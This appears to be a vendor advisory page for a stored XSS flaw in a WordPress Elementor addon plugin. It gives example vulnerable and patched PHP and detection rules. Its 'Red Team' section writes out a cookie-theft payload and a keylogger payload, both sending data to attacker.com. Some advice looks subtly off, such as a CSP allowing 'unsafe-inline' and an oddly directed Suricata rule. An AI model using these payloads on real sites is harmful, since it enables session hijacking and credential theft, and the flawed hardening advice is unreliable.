CVE-2025-46260
Executive Summary
CVE-2025-46260 is a Stored Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin Sky Addons for Elementor by Wowdevs. The vulnerability affects all versions up to and including 3.0.1. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into web pages generated by the plugin. When an administrator or other user views the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or further site compromise. The vulnerability stems from improper neutralization of input during web page generation (CWE-79). No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who have installed the plugin via the WordPress dashboard or through automated deployment tools (e.g., Composer, WP-CLI) are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network
- Attack Complexity (AC): Low
- Privileges Required (PR): Low (Contributor-level WordPress user)
- User Interaction (UI): Required (Admin must view the page)
- Scope (S): Changed (vulnerability impacts resources beyond the vulnerable component)
- Confidentiality (C): Low
- Integrity (I): Low
- Availability (A): Low
Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for stored XSS in a widely-used plugin makes it a significant threat for targeted attacks.
Deep Dive & Mechanics
The vulnerability exists in the sky-elementor-addons plugin, specifically in how it handles user-supplied input when rendering Elementor widgets. The plugin fails to properly sanitize or escape data before outputting it into the HTML page. An attacker with contributor-level access can create or edit a post/page using an affected Elementor widget and inject malicious JavaScript into a field that is later rendered without proper encoding.
Root Cause: The plugin uses functions like echo $some_data; or <?= $some_data ?> without applying WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post(). This allows HTML and JavaScript to be injected directly into the page.
Attack Flow:
- Attacker logs in as a contributor (or higher role).
- Attacker creates a new post or page and adds an Elementor widget from Sky Addons.
- Attacker inserts a malicious payload into a text field, e.g.,
<script>alert('XSS')</script>. - The post is saved and published (or left as draft for admin review).
- When an administrator or other user views the post, the script executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (Example from an affected widget):
<?php
// sky-elementor-addons/widgets/some-widget.php
public function render() {
$settings = $this->get_settings_for_display();
$title = $settings['title'];
?>
<div class="sky-widget">
<h2><?php echo $title; ?></h2>
</div>
<?php
}
?>
Patched Code (Expected fix):
<?php
// sky-elementor-addons/widgets/some-widget.php
public function render() {
$settings = $this->get_settings_for_display();
$title = $settings['title'];
?>
<div class="sky-widget">
<h2><?php echo esc_html( $title ); ?></h2>
</div>
<?php
}
?>
The patched version uses esc_html() to encode special characters, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress instance with Sky Addons for Elementor <= 3.0.1 installed and activated.
- A contributor-level account.
Steps:
- Log in to WordPress as a contributor.
- Navigate to Posts > Add New.
- Add an Elementor canvas and insert a Sky Addons widget (e.g., "Heading" or "Title").
- In the title/text field, enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the post or save as draft.
- Wait for an administrator to view the post. The script will execute, sending the admin's cookies to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts/pages containing
<script>tags in fields that should only contain plain text. - Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests.
- Review WordPress user activity logs for suspicious post creation by low-privilege users.
Hardening:
- Immediately update the plugin to a patched version once available.
- If no patch is available, disable the plugin or restrict contributor-level users from using Elementor.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact:
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';" - Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.
Indicators of Compromise (IOCs)
- File Paths:
/wp-content/plugins/sky-elementor-addons/widgets/*.php
- Suspicious POST Data:
titleortextfields containing<script>tags.
- Network Traffic:
- Outbound requests to unknown domains from the WordPress admin interface.
- Log Entries:
- WordPress debug log entries showing unescaped output in Elementor widgets.
Detection Engineering
YARA Rule
rule CVE_2025_46260_Sky_Addons_XSS {
meta:
description = "Detects vulnerable Sky Addons for Elementor plugin files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-46260"
strings:
$vuln_func = /echo\s*\$[a-zA-Z_]+/
$widget_file = /sky-elementor-addons\/widgets\/.*\.php/
condition:
$widget_file and $vuln_func
}
Sigma Rule
title: CVE-2025-46260 - Stored XSS in Sky Addons for Elementor
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS exploitation attempts via Sky Addons for Elementor
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/wp-admin/post.php'
cs-uri-query|contains: 'action=edit'
sc-status: 200
keywords:
- '<script>'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in post content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-46260 - Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; content:"<script>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Sky Addons for Elementor plugin until a patch is released.
- Short-term: Implement a Web Application Firewall (WAF) rule to block
<script>tags in POST requests towp-admin/post.php. - Long-term: Monitor the plugin's official page for updates. Apply the patch as soon as it becomes available.
- User Education: Restrict contributor-level users from using Elementor if possible. Review all posts created by low-privilege users before publishing.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.